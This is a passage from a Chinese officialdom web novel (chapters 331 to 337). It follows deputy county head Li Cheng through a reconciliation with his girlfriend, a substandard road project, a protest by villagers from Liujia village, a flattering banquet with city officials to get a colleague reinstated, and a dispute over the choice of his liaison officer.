周安的关系要维护好,这不仅需要孟良德的支撑,还要有人情世故。 而且,李承也有些事情想跟周安聊一聊。 “你是有事情找我吧?” 周安猜出李承的想法,笑着问。 “什么事也瞒不过您呀,哈哈哈...” 李承笑了笑,也不做作:“也不是什么重要事情,就想跟您聊一聊林青同志的问题。” 李承想要尽快恢复林青的职位。 这不仅是帮林青,也是在帮他自己解决麻烦。 据林青说,陈红胜正在煽动村民群众,进行修路抗议。 虽说,周一很安宁,可这份安宁未必是持久的。 李承对于县里的情况还没有完全吃透,更何况下面的村子了。 所以,李承需要林青的帮助,来帮他分担一定的麻烦。 “你来滨西工作,我还没有给你接风,这样,明天晚上你到滨西,我做东,叫上德勋同志。 林青的问题,的确值得探讨一下,风林县需要你们这样的杰出同志。” 周安想了想,答应了这次酒宴。 李承是孟良德的心腹,而且,当初周安去迎宾馆跑官时,李承也给过他帮助。 若非李承让他收起那幅字画,或许,今天滨西市委书记,就是另一人选..... 第331章 信任与隔阂 回到封兰。 李承进入小区,发现父亲李广义正在小区内遛弯。 “爸,这么晚了,你怎么不上楼?”李承走到他身边,问。 “你妈在安慰许梦,我也插不上什么嘴,在家反倒是觉得别扭,就出来溜达溜达。” 李广义并不健谈,性格比较闷。 两个女人在谈心,他在家里不知道该干些什么,也不知道该说些什么,那种气氛让他觉得压抑。 索性也就避而远之了。 “哦,上楼吧。”李承说。 “你先上去,我再转一转。” 李广义拒绝,他停顿了片刻,问:“你到底怎么想的?还想跟许梦继续谈下去吗?” 面对这个问题,李承沉默了。 想,也不想。 想是来自身体本能的不舍和喜欢。 不想,是出于理智下的权衡考虑。 “看情况吧。” 李承不置可否:“你和我妈,怎么想的?” 已经到了谈婚论嫁的年纪,双方见了父母,过年期间许梦也到了家里,见了亲戚。 李承就必须要顾及一下父母的感受。 当初跟秦虹分开时,不少带着恶意的亲戚,都曾背后议论过。 若是这次跟许梦分手,保不准一些亲戚会怎么诋毁。 李承离得远,听不到那些流言蜚语。 可父母就在这边,他们面子上,未必挂得住。 “结婚是你自己人生的大事,你见多识广,比爸妈的成就高,我相信你自己会做出正确选择。 不管怎么样,老爸都支持你的任何决定。” 李广义拍了拍李承的肩膀,露出一抹宽慰的笑容。 这就是父爱。 平时里,父子的沟通很少,也没什么话题聊。 但在任何决定问题上,李广义都会默默支持着李承的想法。 “我知道了,爸。” 李承重重一点头,复杂的心情让他有些想泪目。 “上去吧。” “嗯。” 李承走进单元,站在楼梯口,他点燃了一根香烟。 在家门口,他将这根香烟吸完,这才拿出钥匙,打开了房门。 客厅里。 董丽正在劝说着许梦,许梦用纸巾擦着眼泪,茶几边的垃圾桶已经塞满了她擦泪的纸。 “你怎么才回来,不是告诉你早一点吗?”董丽转过头,埋怨了李承一句:“工作就比家庭还重要吗?” “今天是周一,县里要开常委会,走不开。”李承解释一句。 “嗯。” 董丽严肃的应了一声,再看向许梦时,立马换上了温柔的面孔:“李承也回来了,那你们聊吧,我去看看你叔叔,你们两个一定要好好的,阿姨才放心。” 说完,董丽起身朝门口走去。 在路过李承身旁时,她低声叮嘱:“人家能来就是想跟你好,哄一哄,听见没?” “知道了。” 董丽离开了家,李承换上拖鞋,走到许梦面前。 看着她泪眼婆娑,哭肿的眼睛,李承的心顿时软了几分。 “不管你信不信,我跟她,没关系。”李承坐在她身边,沉声解释了一句。 许梦沉默不语,不停用纸巾擦着眼角。 李承没再解释,气氛死寂了半分钟后,李承主动靠近许梦,将她揽在了怀里。 许梦没有反抗,她的头靠在李承的肩膀上,哭声逐渐哽咽.... “我已经写好了辞职报告,我想好了,我要去风林县陪你。”许梦哭啼着说。 “昨天晚上,你去了哪?”李承问。 “我哪都没去,我就在家里了,我也没上高凯的车,联系他是因为赌气,其实...我没有想跟他怎么样。” 许梦拿出手机,主动将她跟高凯的聊天记录递给李承。 李承没有接过手机,只是大致扫了一眼,上面都是高凯的消息。 质问许梦为什么不下来,为什么不开门。 呵斥许梦将他当猴子耍。 以及威胁许梦,说要将许梦从《东江问政》节目里撤出去等... “我相信你。” “你昨天一整晚没睡吧?黑眼圈这么重。” 许梦心疼地抚摸着李承的脸,她是爱李承的。 这一天一宿,她想了很多很多。 只要她愿意,靠着交际的手段,重新成为《东江问政》和《晚间新闻》的主持人,并不难。 想与许梦有来往的领导和富豪,不计其数。 跟那些人相比,高凯算不上什么。 但她心里是爱着李承的,她想跟李承相守一生,哪怕没有名利,她也愿意。 在许梦的骨子里,还有一份女人对爱情奋不顾身的天真憧憬。 她喊高凯,就是为了故意气李承,让李承知道,她不是没人要。 因为站在她的角度,李承陪其他女人打胎,却连解释和挽留都没有,这是对她的不重视,是她自以为的不爱行为。 所以,她做了那个愚蠢的决定。 当李承回到家,跟高凯发生争执时,她非常后悔那个决定,却也为时已晚。 人在面临问题时,尤其是在感情上,总会因为情绪,导致做出错误的决定。 很多恋人的分手,就是双方在钻牛角尖,本质上,并没有什么大问题。 许梦跟李承讲的都是实话。 昨晚,李承走后,她也没有再去理会高凯,没有坐他的车,也没有给他开门,更没有做任何出格的事情。 她的气消了,认真想了很多,她觉得自己离不开李承,所以她想主动挽留,才来到了滨西。 “一整夜没睡,你眼睛都哭肿了,今天我们都早点休息吧。”李承挤出一个微笑,说。 “嗯...老公,我爱你,我们不分开好不好...”许梦楚楚可怜地看着李承。 她想挽回这段感情,但其实,她心里对李承仍没有百分百的信任。 只是理性的分析告诉她,李承没有做出出格的事情。 “不分开。” 李承摸了摸许梦的头,将她抱得更紧一些。 人都是有感情的,真到分开那一步,李承同样会舍不得。 而且,误会已经说开了。 两个人,在相互递去的台阶下,重归于好。 但这件事的发生,也让两人心里都有了隔阂。 建立信任很难,可信任出现了裂痕,再想修补很难....彼此只能试着去遗忘,去安抚自己要相信... 可谁也做不到,完全的再去信任。 第332章 标准 次日。 李承坐最早一趟高铁,回到了滨西市。 经过一晚上的休息,他的精神状态好转了很多,但身体还是非常疲惫。 到达管委会,李承直接去了工地。 虽说,他已经做好了工作部署,但那些人李承不能完全信任。 他要亲自去视察,心里才能放心。 到达施工地点,李承第一眼就看到了汪莱。 作为李承钦点的道路监工负责人,汪莱对此格外上心,他每天都会严格履行李承的要求,基本上是长在了工地。 这不仅是因为上进心,也跟政治立场有关系。 上次,他带着李承和齐秘书去了饭店,抓了韩帅的违纪行为后,陈红旗将他踢出了局。 韩帅也在后来的饭局上,跟他翻了脸,怒骂了他,两个人还差点动了手。 可以说,汪莱在李承的略施小计下,已经彻底背离了本地派系。 他只有一条路,那就是向李承靠拢,好好表现,争取得到李承的重视! “李县长,您来了。” 正在监工的汪莱,看到李承的身影,连忙小跑过来,满脸殷勤地跟李承打招呼。 “嗯,道路质量怎么样?”李承看着前方的施工,问。 “一切按照国家标准,我每天都在这里监工,绝对不会出错。”汪莱拿出香烟,递给李承一支:“您抽烟。” 他知道李承喜欢抽徽商,所以,身上特意备了一包,专门为了讨好李承。 李承接过香烟,放在嘴边。 汪莱立马凑到李承面前,给李承点烟。 李承微微低下头,抬起一只手挡风。 这不仅是挡风,也是一种礼貌的回应态度。 “我去看看。” 李承吸了一口烟,准备迈步去工地内查看。 “您等我一下。” 汪莱笑呵呵地说着,他连忙快跑向他停在旁边的汽车,打开后备箱,从里面拿出一个崭新的安全帽。 “李县长,这是新的,没人戴过,更安全一些。”汪莱讨好般的双手奉上。 “有心了。” 李承接过安全帽,戴在头上,对于汪莱的示好,他很满意。 人都有虚荣心,作为领导,他也很享受被服务,被尊重,被奉承的感觉。 进入工地,李承认真检查了一下质量。 虽然他对这些不懂,但最基本的一些知识,他有过了解。 砂石是否压得夯实,沥青的厚度和密度够不够格。 “有尺子吗?”李承问汪莱。 “有。” 汪莱从口袋里拿出卷尺,作为监工,这些必备工具他都随身携带。 李承接过卷尺,弯下身测量了一下厚度。 七厘米。 “这些,已经施工完成了?”李承问。 “嗯...对。” 汪莱挠了挠额头,他有些摸不清李承的态度。 这个厚度,已经达到了标准,可是,他觉得李承并不满意。 “你有没有认真了解过这个标准?”李承平静地问。 “我特意请示过王副主任,标准是六厘米,这还多出一厘米左右。”汪莱尴尬地说。 “六到十二厘米,的确达标了,不过,达的是二级公路的标准,我们产业园区的道路,全部要按照一级公路的标准建设。 这些都写在了承包合同里,你没看过吗?”李承严肃地反问。 国标的标准有很多。 高速和一级公路,厚度要达到十二厘米之上,常用是十八厘米。 二级公路的标准是六到十二厘米。 显然,这条路是按照二级公路的标准去建设的。 但道路承包合同里,明确写清楚了,这条路要按照一级公路的标准建设。 政府部门的批款,也是按照承建一级公路的价格拨款。 作为规划建设局的副局长,这应该是汪莱必须了解的,可他却不知情。 对于这种工作态度,李承心里窝火。 “我...我以为.....” 汪莱额头渗出冷汗,吞吞吐吐不知道怎么辩解。 他知道,这是他的工作疏忽。 他一心想着好好表现,装出一副努力的样子,可他一直做的都是花架子,却忘记了最重要的问题。 “算了,这件事不怪你,我去沟通。”李承摆了摆手,不去追究。 这件事不怪汪莱吗? 当然怪! 只是李承不想追究他的责任,这件事情的出现,让李承看到了合理权衡的途径。 “李县长。” 李承还准备深度检查时,他的公车停到了工地旁。 刘婷急匆匆地小跑过来。 李承目光看去,等待刘婷的靠近和汇报。 “李县长,刘家村的村民已经把修路的工程队给围住了,不让施工,说是不满意政府之前的赔偿协议,坐地涨价。 王主任已经到达现场去协调了,但那些村民的态度坚定,他想请示您到现场处理。” 刘婷将刘家村的情况,汇报给了李承。 “嗯,去一趟吧。” 李承走出工地,将安全帽还给了汪莱。 该来的,总归是躲不过,李承决定亲自去看一看。 刘婷给李承拉开车门,李承迈开一只脚,准备上车时,停顿了。 他对刘婷吩咐:“你就不用去了。” 不让刘婷参与工作,是李承的一种态度。 他在通过这种方式,告诉刘婷,她不需要再对这个联络员的位置,抱有任何幻想。 “好。” 刘婷点了点头,等李承坐稳后,替他关闭了车门。 看着李承坐车离去,刘婷心中感慨万千。 她也很清楚了一点,李承无论如何都不会再用她,她继续留下来,也只是上赶着丢脸罢了。 拿起手机,她拨通了县政府办公室主任赵兵的电话:“喂,赵主任,我是刘婷。 是这样,李县长已经完全不信任我了,任何事务都不让我插手,我想跟您请示一下,给我换个岗位....” 与其等着被换掉,不如主动提出离开。 这是刘婷想要保留的一份体面。 “明天就会有人去接替你的工作。”赵兵道。 “赵主任,那我回办公室,接替什么工作?”刘婷问。 之前赵兵答应过她,只要从李承的联络员岗位下来,就给她升职。 “回你原来的岗位。”赵兵冷冷说。 “可是,我们之前不是说好了....” “你自己把工作办成什么样子,你不清楚吗?我没追究你就不错了!” 赵兵冷漠地打断了刘婷,直接挂了电话。 第333章 阻止修路 汽车抵达公路途经刘家村路段。 此时,三四十个村民,将施工团队和管委会工作人员围住。 这条路,还处于开挖阶段,需要把原本的农田挖掘到一定深度,再去填石铺路。 “谁让你们挖的这块地,经过谁允许了?” “就是,我们跟你们签补偿协议了吗?同意答应你们的赔偿了吗?你们现在挖了我们村的地,就是不合法,赔钱!” 几个农村大汉,指着负责基建工程的王旭,厉声呵斥。 “土地现状调查确认表你们都是签字按手印的,安置补偿款很快就能下来,该多少,政府不会少你们一分。 当初开工之前,韩主任也跟你们打过招呼,你们都是同意的呀。” 王旭面对这群人的‘围攻’,额头上已经渗出了汗水。 “韩帅打的招呼,那是我们信得过韩帅,现在韩帅被你们新来的主任给撤了,我们不信你,也不信他! 现在你们未经允许,就毁坏我们的农田,要么给赔偿,要么我们就去市里,去省里讨说法!” 领头的大汉,叫嚣着。 站在人群外面,李承微微摇了摇头。 不知道从什么时候开始,‘闹事式’的上访,成为了百姓威胁政府的一种手段。 的确,这种方式最奏效,本地政府怕被问责,面对群体性的闹事式上访,尤其是越级上访,都会选择安抚式的退步。 “李县长!” 面对围攻,王旭眼神敏锐地洞察到了人群之外的李承。 他连忙伸手跟李承打招呼。 这不是礼貌性的问好,而是急于逃避责任。 果不其然,当王旭喊出‘李县长’后,众人的目光纷纷落在了李承的身上。 “你就是那个新来的副县长,管委会的主任,是不是?”领头的大汉,上下打量了李承几眼,问。 大汉个子不高,身材肥胖,皮肤黝黑,穿着一个阿迪的外套,脖子上戴着金项链。 两边头发剃的溜光,中间留着炮头,一副混混的架势。 “对。”李承点头。 听到李承的回答,他没有立刻发问。 只见大汉从口袋里拿出一包软玉溪,手指轻轻一拍烟盒,一根香烟‘跳’出来半截。 他潇洒地用嘴叼起那根烟,点燃后,猛吸了一口:“就是你给韩帅换了,是吧?” “对,是我换的。”李承说。 “我们村里的人只认韩帅,不认其他人,就算你是县长,在我们这个村,没面子! 想要继续修路,就让韩帅过来跟我们谈,不然的话,这个路,你们修不成!” 大汉撅着嘴,眼神轻蔑地扫着李承。 “你贵姓?” 李承岔开话题,问。 “我姓陈,十里八乡都认识我,你可以打听打听,我叫陈老六!”陈老六狂傲地说。 一副当地刀枪炮的架势。 看着他的作态,李承心中不免冷笑腹诽:‘这叫什么?穿阿迪,抽玉溪,头发越短越牛b?’ “陈老哥,韩帅违纪在先,不可能回来了,你们既然只信他,信不到政府,那我们直接签补偿合同,钱款即可到位,怎么样?” 李承直接开出条件。 想要解决这件事,最直接,最有诚意的方式,就是给钱。 听到这话,陈老六等人没有先回答,因为他们没想到,新来的副县长效率这么高。 反倒是王旭第一个凑到李承耳边,低声劝说:“李县长,县里还没有拨款,我们没钱呀?” 对此,李承只是一摆手,示意他闭嘴。 “各位乡亲们,你们担心的问题,不就是赔偿款吗?今天你们跟我签补偿协议,今天补偿款就到,我够有诚意吧?” 李承当然清楚,县里给刘家村的补偿款并没有到位。 但这并不代表管委会没钱。 管委会的财政局里有钱,足够给他们补偿。 只不过,这笔钱是准备给旗胜公司结的管委会办公楼尾款。 本来,李承就想拿这笔钱卡旗胜,打一打他们的嚣张气焰,刚好,这是一个合适理由。 挪用这笔钱,完全在李承的职权范围内。 至于说,旗胜在办公楼的尾款问题上,李承压根无需担心。 县财政在陈红旗手里。 陈红旗能延迟不给修路补偿,但绝不会允许旗胜的款项不到位,那是他的个人利益。 李承挪用了这笔钱,用不了多久,陈红旗就会再次拨款,替他填补这个窟窿。 “这不是补偿款的问题,本来我们村就没想同意修路,是给韩帅的面子,韩帅被你们撤了,我们就不允许你们修了。” 陈老六思索片刻,态度再次坚决。 他提议让韩帅回来,并非为韩帅争取,而是陈红胜刁难李承的计策。 韩帅是李承亲自踢出局的,若是用修路施压,能让李承将韩帅请回来,那么,李承的颜面将扫地。 李承在管委会的威信,也会荡然无存。 韩帅就是一个噱头,说到底,这是他们针对李承的一种方式。 “韩帅不回来,你们就确定不同意修路了?” 李承目光略过陈老六,看向其他村民:“你们都这么想的吗?” “对,我们都这么想的。” 陈老六率先发言,他煽动着其他人:“大家说,是不是呀?” 对于陈老六的询问,那些村民都哑火了。 他们跟着陈老六来闹,无非是看其他村占地补偿都给了,他们村的却没落实,想要尽快要补偿。 可李承已经答应了补偿,他们也不想继续闹下去了。 “二愣,你说话呀,是不是?”陈老六踢了身边的高个子一脚,呵斥道。 “啊,是。” 被叫二愣的高个子点了点头,配合他。 明显,这群人是不情不愿的。 李承洞察到了这一点,却假装看不见,他摆了摆手,说:“行,你们不同意修,政府也不为难你们。” 说完,他的目光看向王旭:“王主任,挖坏他们多少的,按价给赔偿,下午我们开个会,把刘家村这段路绕出去!” 丢下这句话,李承转身朝汽车方向走。 他表现出的态度很强硬。 完全一副,机会给你们了,你们不珍惜,那就不给了的态度。 丝毫没有拖泥带水和讨价还价。 李承来得快,走得也干脆利落。 直到李承坐上了车,汽车掉头离开,陈老六等人才反应过来! 第334章 内部家宴 李承拍拍屁股走人了,留下王旭一个人承担村民们的压力。 一直交涉到了下午,王旭才勉强稳住这些村民的情绪,从人群中脱身。 回到管委会,他都没顾及吃中午饭,直接找到了李承。 主任办公室内。 王旭喝了一大杯水,忍不住的埋怨起来:“李县长,您给我一个人扔那了,让我处理,你说我咋处理呀。 我手里又没权限,说的也不算,唉...可让这群村民给我折磨死了,想走还走不了,饭都没吃上。” 听着王旭的埋怨,李承只是回以一笑,问:“我不是给你权限了吗?让你跟他们谈挖地补偿。 一共就挖坏了那么一小片农田,应该不多吧?” “真要把刘家村绕过去修呀?” 听到李承的询问,王旭一愣,惊诧地问。 他认为,李承那么说是气话,是演给村民们看的。 所以,他也压根没谈修补农田的问题。 “你觉得我给你安排的工作,是在开玩笑?”李承笑容收敛。 王旭想得没错,李承说绕路,就是在给村民们施压。 但是,这并不代表王旭就不需要执行。 他看透了,更应该配合李承演好这场戏,而非搁置一旁。 “不是,李县长,刘家村是最近的一条路,如果绕过去,起码多修五公里,没必要吧?” 王旭瞪大双眼,连忙解释。 “有没有必要,你说的不算,我说的算,出了错是我的问题,拒不执行,就是你有问题!” 李承笑容彻底收敛,表情严肃,声音里带着训斥。 “哦,那我下午去跟他们谈。” 王旭有意见,但李承是他的顶头领导,话说到这个份上,他也不敢反驳。 他只好嘴上先答应着,心里已经盘算好了,准备出门就跟陈红旗汇报。 “王主任,我问你,你作为基建工程的分管领导,在我三令五申之下,你是怎么抓修路的? 你有没有严格按照组织的命令去执行,为什么到现在为止,园区内部那条路,新铺的沥青,还能不达标?” 李承严厉地训斥道。 “不达标?” 王旭眉头一皱,说:“我问过汪莱,他说达标呀,而且汪莱是你派去监工的。” “标准厚度是多少厘米?”李承沉声问。 “按照一级公路的标准,沥青厚度是十二厘米。” 王旭在接替韩帅位置之前,就是规划建设局的局长,承包合同的内容他看过。 产业园区的所有道路,全部按照一级公路的标准建设。 “汪莱说,你告诉他的标准是六厘米,我请问一下王主任,是汪莱说的慌,还是你有私心呀?” 李承一拍办公桌,严厉的质问。 他摆出如此严肃的态度,其实是装样子,目的就是分裂汪莱和王旭的关系。 只有他们两人不合,李承才能做到相互牵制。 “他胡说八道,我从来没告诉过他六厘米的标准,李县长,你要是不信,你就给他叫过来,我跟他当面对峙!” 王旭义正言辞。 他说过,只是口头上说的,只要他不承认,也就死无对证。 “你真没说过?” 李承凝视着他,语气放缓了一些。 该打的巴掌打完了,该给个甜枣了。 “没有。”王旭坚定的道。 “嗯,我知道了。” 李承微微点头,拿出一根香烟点燃,语重心长:“王主任,你是基建工程的一把手,汪莱是你手底下的同志,归你管。 所以呀,你更应该认真盯着工作,不要因为他是我安排负责监管的,就对他松懈。 这个标准达不到,到最后出了问题,追究起来,你是第一责任人呐。” “我的确有监管不力的责任,李县长您放心,我下午就要求他们整改!” 王旭保证道。 汪莱把责任都推卸到了他的头上,这让他很不爽。 刚好借着整改的机会,他能给汪莱一个下马威! “嗯,去做吧,还有农田补偿的问题,跟他们去谈一谈,态度要强硬,就按照国家标准谈,多一分都不给。” 李承交代道。 “好。” 王旭点头答应,还是忍不住的请示:“李县长,是真的要换路线吗?” “先去谈。” 李承冲王旭扬了扬下巴,在他的表情里,暗示了自己的真实意图。 ..... 晚上。 李承来到了滨西市,象牙海岸饭店。 这是一家海鲜餐厅,在滨西市知名度很高,档次也是数一数二。 但滨西已经沦落到了五线城市,档次再高,消费水平照比汉江的牡丹会还是差不少的。 “您好先生,请问有预定吗?” 美女迎宾员上前一步,微笑询问。 “夏威夷。” 夏威夷是包厢的名称。 “好的先生,您这边请。”迎宾员做出请的手势。 “不急,我先押一部分钱,今天这个单,我来买。”李承说。 “好的。” 在迎宾员的引路下,李承到了前台,提前押了五千块钱。 既然要请客,那就要表现出诚意来。 提前付押金,证明买单意愿,这就是北方人的诚意。 这样可以避免买单时的推诿。 来到夏威夷厅,周安,纪委书记胡德勋,市委秘书长霍恩泽均已赶到,李承来的最晚。 定的是六点半,李承提前下班了,没有迟到,却也是踩着点到的。 “周书记。” 李承进门后,先向周安问好,随后歉意的说:“不好意思呀各位领导,我来迟了一些。” “不晚,我们也刚到,你从县里往这赶,已经很准时了。” 周安看了一眼腕表上的时间,冲李承笑着招了招手:“坐。” “好。” 李承坐下来,又冲其他两位领导一一点头示好。 很快,服务员开始走菜。 这场饭局只有他们四个人,一位正厅级,两位副厅级,只有李承一个副处。 他主动承担起服务身份,起身分别给三位领导倒酒。 酒倒满后,等待周安的提酒讲话。 在这种商务饭局里,第一杯酒,必须是本场地位最高的人先提,这是规矩! “今天大家聚在一起,既是内部家宴,也是给李承同志接风,欢迎让我们欢迎李承同志到滨西市开展工作。” 第335章 滴水不漏? 周安举起酒杯,示意众人后,抿了一口白酒。 李承等人也纷纷跟着喝了一口。 周安用‘内部家宴’来形容这场宴会,这无疑是一种立场和亲近表现。 换做其他副县长,能够挤进市委书记的‘内部家宴’一定会沾沾自喜。 李承不同。 因为他的背景问题,所以,能融入到这里,是意料之中。 但接风这个字眼,他一定是要推掉的。 毕竟,这场宴会他已经做好了买单的准备,还提前付了押金,如果搞成了接风宴的形式,李承再把单给买了,会让周安下不来台。 李承没有紧接着周安讲话,大家吃了一会儿,消消酒气后,李承这才站起身:“我敬各位领导一杯。” “能参与到这样的宴会中,跟几位领导推杯换盏是我的荣幸,尤其是能在周书记这位大家长的领导下开展工作,对我来说是惊喜。 在省政府工作这些日子里,我对东江省的各个市都有了一定的了解,但与滨西市打交道最多。 尤其是周书记上任后,对于煤企的改革,对于上届班子遗留麻烦的解决,让我十分佩服。 胡书记在处理吴刚同志的问题上,也是快准狠,老板还特意跟我提起称赞过。 当初老板说要安排我去下面市县历练时,我就在期盼着,幻想着能不能给我分配到滨西来,能不能来到这个充满红色革命的团体里来。 没想到,还真的梦想成真了。” 李承说到这里,停顿了一下,继续道:“所以,对我来说,今天不是接风宴,是我融入这个家庭的喜宴,我敬各位领导!” 李承说完,举杯喝了一大口。 他这一番话,说得可谓是滴水不漏。 第一,他明确了周安提出的‘家宴’观念,将周安称呼为了大家长。 第二,他重点吹捧了周安的功绩,顺嘴也带上了胡德勋,拉近几人之间的距离。 第三,一句‘红色革命’,将整个周安领导下的班子,形容的十分正义,且伟大,表明了靠拢的态度。 第四,李承也在不经意间,再次表明了自己的背景,宣誓地位。 第五,他将接风宴,改成了他个人融入家庭的喜宴,潜移默化中,从一个宴会宾客的位置,纠正向了东道主的方向,为他的买单做足铺垫。 如果说,这番话漏了哪一点。 唯独差秘书长霍恩泽没有提到,因为秘书长这个职位,是一个管家职位,是协调性的职位,很难集体点评到。 “李承同志不愧是当过省长秘书的人,这口才可以,呵呵呵...”胡德勋放下酒杯,笑呵呵地夸奖一句。 他当然知道,李承这番话是带着吹捧的成分。 或许,孟良德称赞过他,也是李承凭空捏造。 但通过这一番话,他对李承的好感度提升了几分。 对胡德勋这个五十多岁的人来说,李承属于小同志,小同志见过大场面,有着大背景,还能不骄不躁,在他看来是难得的。 “呵呵呵...李承同志有些过于抬举我了,我的一些想法能落实,离不开恩泽同志的配合与落实。” 周安察觉到李承没有提到霍恩泽。 他以降低自己的方式,推出霍恩泽,以此来帮李承把遗落圆回来。 “霍秘书长属于是幕后功臣嘛。” 李承一句幕后功臣,看似轻描淡写,实际上,这四字点评已经足够。 再多说,就显得刻意恭维和虚伪了。 “谈不上功臣,协调和兜底,是我们的本职工作。”霍恩泽微微一笑,谦虚地说。 “我也是秘书出身,协调工作,可不简单呐。”李承提起自己曾经的秘书岗位,以此来拉近距离。 其实,李承非常不喜欢这种官宴。 需要伪装,说任何话之前,还要深思熟虑,过于麻烦。 只是身在其位,他也没办法。 一杯酒下肚,一些场面话说完,气氛逐渐变得舒适起来。 大家推杯换盏,聊得不亦乐乎。 “对了,你们产业园区的道路建设,进展如何?我听齐秘书说,这条路,修得很吃力呀?” 周安将话题聊到了工作,这是向李承递台阶。 “唉...” 听到这个问题,李承叹了一口气:“今天上午还遇到了麻烦,刘家村的村民集体出动,阻碍施工队挖路。” “怎么回事?”周安问。 “县政府要完成三保,挪用了部分省里拨下来的专项款,导致刘家村的补偿协议没有落实。 之前是林县长在,开展的担保工作,现在村民们听说林县长停职了,也都有异议了。 风林县穷,政府在民众心中威望不高,都靠林县长撑着。” 李承没有实话实说。 他将问题扯到林青身上,就是想以此为由,让林青先恢复工作。 “这样呀。” 周安点了点头,看向胡德勋:“老胡,林青的问题查的怎么样了?” 周安先给李承递了台阶,李承也顺势而下,把问题提出,周安也能顺利接住话茬。 两个人一唱一和,将问题转移到了胡德勋身上。 “基本可以证明,林青对那三十万并不知情,还在进一步核实,这两天就能出结果。”胡德勋也知道两人的意思,说。 “还查出别的了吗?”周安问。 “没有,不算这三十万的疑义,林青是一个廉政干部。” 这是调查结果的表明,也是胡德勋发自内心的认可。 他之前就跟林青打过交道,林青是什么人,他有过几分了解。 “尽快核实,然后恢复林青的工作开展。 产业园区正处于关键期,李承一个人忙不过来,需要林青这位深刻了解风林县面貌的同志配合。”周安说。 “的确,很多内部问题我一个人解决不过来,尤其是涉及协调乡镇的工作上,群众们对我这种外地干部并不信任。 林青同志回来,能够缓解很大的内部压力,加快企业落实的问题。” 李承也在一旁帮腔。 周安和李承都开了口,胡德勋肯定要同意,他说:“嗯,明天我再催办一下,争取尽快换林青同志一个清白。” 第336章 一意孤行的赵兵 次日。 李承到达管委会办公室,他刚坐下,办公室房门就被敲响了。 ‘咚咚咚...’ “进。” 得到李承的许可,门被推开。 一个年纪看起来五十多岁,身材发福,留着地中海发型了男人走了进来。 跟他一起进来的,还有刘婷。 “李县长,这位是办公室给您安排的新联络员,王平。” 刘婷将秃顶男人介绍给李承,语气低落:“我跟他做一下工作交接,就回去了,谢谢李县长这些天对我的包容。” “李县长您好。” 刘婷介绍后,王平快步走向李承,伸出手,面露温和笑容。 对此,李承并没有理会。 他的脸色阴沉如水,一股怒火在胸口熊熊燃烧。 他点名要的联络员是戚瑶,可赵兵仍敢一意孤行,将他手下的王平安插过来! “你们两个都可以回去了!” 李承没有给任何人好脸色,他冷冰冰的说完,直接拿起了办公桌上的电话,打给了赵兵。 “喂,李县长,我给您安排的联络员,还满意吗?王平同志有联络员的经验,服务过两任副县长,觉得可以完成您的工作安排。” 电话刚一接通,赵兵就滔滔不绝,介绍起王平的好。 他清楚,李承这通电话是质问,他想提前堵住李承的嘴。 “他年纪不符合要求,当我的联络员是很吃苦的,他这个年纪能熬得住,万一影响了工作,是你承担,还是他承担责任呀?” 李承严厉地质问。 这是在给赵兵挖坑。 如果赵兵说让王平承担,李承就可以顺势把王平踢出去。 如果赵兵脑子抽风,敢说他自己承担,李承就一百种办法,让他承担责任。 没有责任,制造责任,也会让他承担! “额...如果他不能胜任,整个办公室,没有任何一个人能够胜任了,论能力和经验,王平同志毋庸置疑。” 赵兵没有回答李承的问题,换了一种方式,将话推了回去。 “赵兵,你少跟我玩这一套,联络员是服务我工作的,用谁,不用谁,你说的不算,我说的算! 这不是人事任命,是对你的工作安排,你一个办公室主任,只有执行权,没有否决权!” 李承态度强硬,他也懒得跟赵兵废话,直接下达了最后通牒:“我再问你一遍,你执行,还是不执行?” 李承强调的是执行。 赵兵作为下属,如果拒不执行,那就是抗命! “戚瑶已经有了工作安排,您要是不满意王平,您再挑挑别人?” 赵兵语气软了一些,却依旧是那副死猪不怕开水烫的架势,成心跟李承作对。 他有陈红旗撑腰,对李承的命令,他不怕。 “好,那我就等你亲自把人给我送过来!”说完,李承直接挂断了电话。 他点燃了一根香烟,吸了一口,再次抬起头看向王平:“王平,你们赵主任极力推荐你,看来你俩私交不错呀?” “赵主任对我工作是认可的,都是工作上的交集。”王平平静地回答道。 五十多岁,还是县级单位做联络员,从这一点就可以知道,这个王平工作能力不怎么样。 甚至可能出现过重大过错。 不然,他给两任领导当过联络员,职位又怎可能停滞不前呢? “行,你留下来吧。” 李承冲他摆了摆手,随意地打发道:“你俩去对接一下工作。” “好的李县长。” 两人点头,退出了办公室。 弹了弹烟灰,李承再次吸了一口烟。 他给过赵兵机会,但对方非要卡着自己不放,分不清主次,那么,李承也势必让他付出代价! ...... ‘我的爱如潮水,爱如潮水将我向你推...’ 中午,李承正在食堂吃饭,他的手机响了起来。 是市委书记胡德勋的电话。 “喂,胡书记您好。”李承接通,客客气气的道。 “李县长,关于林青同志的问题,我们已经核查清楚,下午会传递到你们县委。”胡德勋道。 “辛苦您了,胡书记。” 林青的问题可以这么快结束,是昨晚那顿饭的功劳。 很多时候,明明已经有定论的事情,往往都在流程上被一拖再拖。 需要一定的督促和压力,才会落实。 林青的问题就是如此,如果胡德勋不发话,可能这个核查流程,还要很多天才能有定论。 “分内之事。” 两个人客气了一番后,挂断了电话。 吃过饭,李承散步在产业园区空旷的地面上,又给林青拨了一通电话过去。 ‘嘟..嘟..嘟...’ “李县长。”林青接通电话,道。 “林县长,跟你说一个好消息,市委已经将你的情况调查清楚,下午文件就会传达到县委,你是清白的。” 李承笑呵呵地将这个好消息告诉给了林青。 “真的?” 闻言,林青惊喜万分:“谢谢,你在我的事情上,费心了。” 林青知道。 她的案件能够转移到市纪委,是李承在背后的操作。 如果没有李承,她的案子还不知道是什么结果,可能在陈红旗的示意下,走向了另一个极端。 “当然是真的,昨天周书记亲自督促,刚才纪委的胡书记给我打了电话,这是他亲口说的。” 李承侧面透露出他在这件事上的努力。 做好事,必须要留名。 官场不是慈善会,任何的帮助,都是要有回报的。 “我还一直担心管委会的工作呢,这回我就放心了。”林青激动地笑着。 “嗯,我一会儿去县委见一趟王书记,跟他商量一下你的复职问题。”李承说。 “好,麻烦你了。” “产业园区需要你,我这也是为了园区和风林百姓的发展。”李承笑呵呵的道。 挂断电话,李承坐上公车,赶往了县委大院。 市纪委是审查单位,并不能决定林青的副职。 这需要撤停的决定机关执行,也就是县委常委会。 李承要提前跟王革通个气。 虽说,林青的问题已经查明,但这并不代表林青还能继续担任管委会党工委书记一职。 要提前预防陈红旗的阻碍! 第337章 规则牌 县委书记办公室。 李承坐在王革的对面,给他递了一支香烟:“王书记,林青的调查结果,市纪委跟您打过招呼了吗?” “嗯,中午的时候,胡书记给我来过电话,我还想着找你过来商量一下林青的复职问题,没想到你就过来了。” 